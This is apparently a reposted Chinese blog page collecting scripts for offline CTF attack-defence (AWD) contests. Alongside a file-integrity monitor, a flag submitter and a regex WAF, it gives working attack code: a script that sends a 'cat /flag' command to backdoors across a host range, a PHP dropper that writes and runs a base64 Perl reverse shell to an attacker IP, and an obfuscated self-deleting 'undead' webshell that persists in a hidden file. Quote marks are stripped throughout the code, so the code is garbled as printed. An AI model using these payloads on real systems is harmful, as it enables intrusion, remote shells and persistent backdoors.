CTF 线下AWD 一些py脚本

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTF 线下AWD 一些py脚本相关的知识,希望对你有一定的参考价值。

CTF 线下AWD 一些py脚本

技术分享图片

1、文件监控的脚本

# -*- coding: utf-8 -*-
#use: python file_check.py ./

import os
import hashlib
import shutil
import ntpath
import time

CWD = os.getcwd()
FILE_MD5_DICT = {}      # 文件MD5字典
ORIGIN_FILE_LIST = []

# 特殊文件路径字符串
Special_path_str = drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82
bakstring = bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS
logstring = log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD
webshellstring = webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD
difffile = diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN

Special_string = drops_log  # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
    bak : os.path.realpath(os.path.join(spec_base_path, bakstring)),
    log : os.path.realpath(os.path.join(spec_base_path, logstring)),
    webshell : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
    difffile : os.path.realpath(os.path.join(spec_base_path, difffile)),
}

def isListLike(value):
    return isinstance(value, (list, tuple, set))

# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):

    if noneToNull and value is None:
        return NULL

    if isListLike(value):
        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
        return value

    if isinstance(value, unicode):
        return value
    elif isinstance(value, basestring):
        while True:
            try:
                return unicode(value, encoding or UNICODE_ENCODING)
            except UnicodeDecodeError, ex:
                try:
                    return unicode(value, UNICODE_ENCODING)
                except:
                    value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
    else:
        try:
            return unicode(value)
        except UnicodeDecodeError:
            return unicode(str(value), errors="ignore")

# 目录创建
def mkdir_p(path):
    import errno
    try:
        os.makedirs(path)
    except OSError as exc:
        if exc.errno == errno.EEXIST and os.path.isdir(path):
            pass
        else: raise

# 获取当前所有文件路径
def getfilelist(cwd):
    filelist = []
    for root,subdirs, files in os.walk(cwd):
        for filepath in files:
            originalfile = os.path.join(root, filepath)
            if Special_path_str not in originalfile:
                filelist.append(originalfile)
    return filelist

# 计算机文件MD5值
def calcMD5(filepath):
    try:
        with open(filepath,rb) as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
            hash = md5obj.hexdigest()
            return hash
    except Exception, e:
        print u[!] getmd5_error :  + getUnicode(filepath)
        print getUnicode(e)
        try:
            ORIGIN_FILE_LIST.remove(filepath)
            FILE_MD5_DICT.pop(filepath, None)
        except KeyError, e:
            pass

# 获取所有文件MD5
def getfilemd5dict(filelist = []):
    filemd5dict = {}
    for ori_file in filelist:
        if Special_path_str not in ori_file:
            md5 = calcMD5(os.path.realpath(ori_file))
            if md5:
                filemd5dict[ori_file] = md5
    return filemd5dict

# 备份所有文件
def backup_file(filelist=[]):
    # if len(os.listdir(Special_path[‘bak‘])) == 0:
    for filepath in filelist:
        if Special_path_str not in filepath:
            shutil.copy2(filepath, Special_path[bak])

if __name__ == __main__:
    print u---------start------------
    for value in Special_path:
        mkdir_p(Special_path[value])
    # 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
    ORIGIN_FILE_LIST = getfilelist(CWD)
    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
    backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
    print u[*] pre work end!
    while True:
        file_list = getfilelist(CWD)
        # 移除新上传文件
        diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
        if len(diff_file_list) != 0:
            # import pdb;pdb.set_trace()
            for filepath in diff_file_list:
                try:
                    f = open(filepath, r).read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u[*] webshell find :  + getUnicode(filepath)
                        shutil.move(filepath, os.path.join(Special_path[webshell], ntpath.basename(filepath) + .txt))
                    except Exception as e:
                        print u[!] move webshell error, "%s" maybe is webshell.%getUnicode(filepath)
                    try:
                        f = open(os.path.join(Special_path[log], log.txt), a)
                        f.write(newfile:  + getUnicode(filepath) +  :  + str(time.ctime()) + \n)
                        f.close()
                    except Exception as e:
                        print u[-] log error : file move error:  + getUnicode(e)

        # 防止任意文件被修改,还原被修改文件
        md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
        for filekey in md5_dict:
            if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
                try:
                    f = open(filekey, r).read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u[*] file had be change :  + getUnicode(filekey)
                        shutil.move(filekey, os.path.join(Special_path[difffile], ntpath.basename(filekey) + .txt))
                        shutil.move(os.path.join(Special_path[bak], ntpath.basename(filekey)), filekey)
                    except Exception as e:
                        print u[!] move webshell error, "%s" maybe is webshell.%getUnicode(filekey)
                    try:
                        f = open(os.path.join(Special_path[log], log.txt), a)
                        f.write(diff_file:  + getUnicode(filekey) +  :  + getUnicode(time.ctime()) + \n)
                        f.close()
                    except Exception as e:
                        print u[-] log error : done_diff:  + getUnicode(filekey)
                        pass
        time.sleep(2)
        # print ‘[*] ‘ + getUnicode(time.ctime())

预留后门利用

#coding=utf-8
import requests
url_head="http://xxx.xx.xxx."    #网段
url=""
shell_addr="/Upload/index.php"
passwd="xxxxx"                    #木马密码
port="80"
payload =  {passwd: system(\‘cat /flag\‘);}

webshelllist=open("webshelllist.txt","w")
flag=open("firstround_flag.txt","w")

for i in range(30,61):
    url=url_head+str(i)+":"+port+shell_addr
    try:
        res=requests.post(url,payload,timeout=1)
        if res.status_code == requests.codes.ok:
            result = url+" connect shell sucess,flag is "+res.text
            print result
            print >>flag,result
            print >>webshelllist,url+","+passwd
        else:
            print "shell 404"
    except:
        print url+" connect shell fail"

webshelllist.close()
flag.close()

自动提交flag

 

#!/usr/bin/env python2
import sys
import json
import urllib
import httplib
server_host =      #提交flag的服务器地址
server_port = 80
def submit(team_token, flag, host=server_host, port=server_port, timeout=5):
    if not team_token or not flag:
        raise Exception(team token or flag wrong)
    conn = httplib.HTTPConnection(host, port, timeout=timeout)
    params = urllib.urlencode({        #提交需要post的参数,根据情况修改
        token: team_token,    
        flag: flag,
    })
    headers = {
        "Content-type": "application/x-www-form-urlencode"
    }
    conn.request(POST, [submit_flag_dir], params, headers)    #第二个参数为提交flag的目录
    response = conn.getresponse()
    data = response.read()
    return json.loads(data)

if __name__ == __main__:
    if len(sys.argv) < 3:
        print usage: ./submitflag.py [team_token] [flag]
        sys.exit()
    host = server_host
    if len(sys.argv) > 3:
        host = sys.argv[3]
    print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)

反弹shell

 

<?php
    function which($pr)    {
        $path = execute("which $pr");
        return ($path ? $path : $pr);
    }
    function execute($cfe) {
        $res = ‘‘;
        if ($cfe) {
            if(function_exists(exec)) {
                @exec($cfe,$res);
                $res = join("\n",$res);
            }
            elseif (function_exists(shell_exec)) {
                $res = @shell_exec($cfe);
            }
            elseif (function_exists(system)) {
                @ob_start();
                @system($cfe);
                $res = @ob_get_contents();
                @ob_end_clean();
            }
            elseif (function_exists(passthru)) {
                @ob_start();
                @passthru($cfe);
                $res = @ob_get_contents();
                @ob_end_clean();
            }
            elseif (@is_resource($f = @popen($cfe, "r"))) {
                $res = ‘‘;
                while([email protected]($f)) {
                    $res .= @fread($f,1024);
                }
                @pclose($f);
            }
        }
        return $res;
    }
    function cf($fname, $text) {
        if($fp = @fopen($fname, w)) {
            @fputs($fp, @base64_decode($text));
            @fclose($fp);
        }
    }
$yourip = "your IP";
$yourport = your port;
$usedb = array(perl=>perl,c=>c);
$back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf(/tmp/.bc,$back_connect);
$res = execute(which(perl)." /tmp/.bc $yourip $yourport &");
//上传并访问,用nc -l -vv -p [port]反弹shell
?> 

不死马

<?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    while(1){
        file_put_contents(./.config.php, <?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_$_fF("",$_cC);@$_();?>);
        system(chmod 777 .config.php);                    
        //持续在config.php中写入
        touch("./.config.php", mktime(20,15,1,11,17,2017));    
        usleep(100);
    }
?>

傻逼的waf

 

<!-- 
require_once(waf.php)
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2   \config\config_global.php
Wordpress   \wp-config.php
Metinfo   \include\head.php
-->

<?php
function customError($errno, $errstr, $errfile, $errline) {
    echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />";
    die();
}
set_error_handler("customError", E_ERROR);
$getfilter="‘|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter="\\b(and|or)\\b.{1.6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
function DefendAttack($StrFiltKey, $StrFiltValue, $ArrFiltReq) {
    if(is_array($StrFiltValue)) {
        $StrFiltValue = implode($StrFiltValue);
    }
    if(preg_match("/".$ArrFiltReq."/is", $StrFiltValue)==1) {
        //slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面: ".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交参数: ".$StrFiltValue);
        print "360WebSec notice: Illegal operation!";
        exit();
    }
}
//$ArrPGC = array_merge($_GET, $_POST, $_COOKIE);
foreach ($_GET as $key => $value) {
    DefendAttack($key, $value, $getfilter);
}
foreach ($_POST as $key => $value) {
    DefendAttack($key, $value, $postfilter);
}
foreach ($_COOKIE as $key => $value) {
    DefendAttack($key, $value, $cookiefilter);
}
if (file_exists(filename)) {
    # code...
}
function slog($logs) {
    $toppath = $_SERVER["DOCUMENT_ROOT"]."/log.htm";
    $Ts=fopen($toppath, "a+");
    fputs($Ts, $logs."\r\n");
    fclose($Ts);
}
?>

技术分享图片

 

 

 

 

 

 

 

 

 

 

 

以上是关于CTF 线下AWD 一些py脚本的主要内容,如果未能解决你的问题,请参考以下文章

网站目录监控脚本,shell,awd用

网站目录监控脚本,shell,awd用

CTF AWD模式攻防Note

ctf 常用python脚本及在线网站

ctf 常用python脚本及在线网站

记录第一次AWDplus线下--“陇警杯”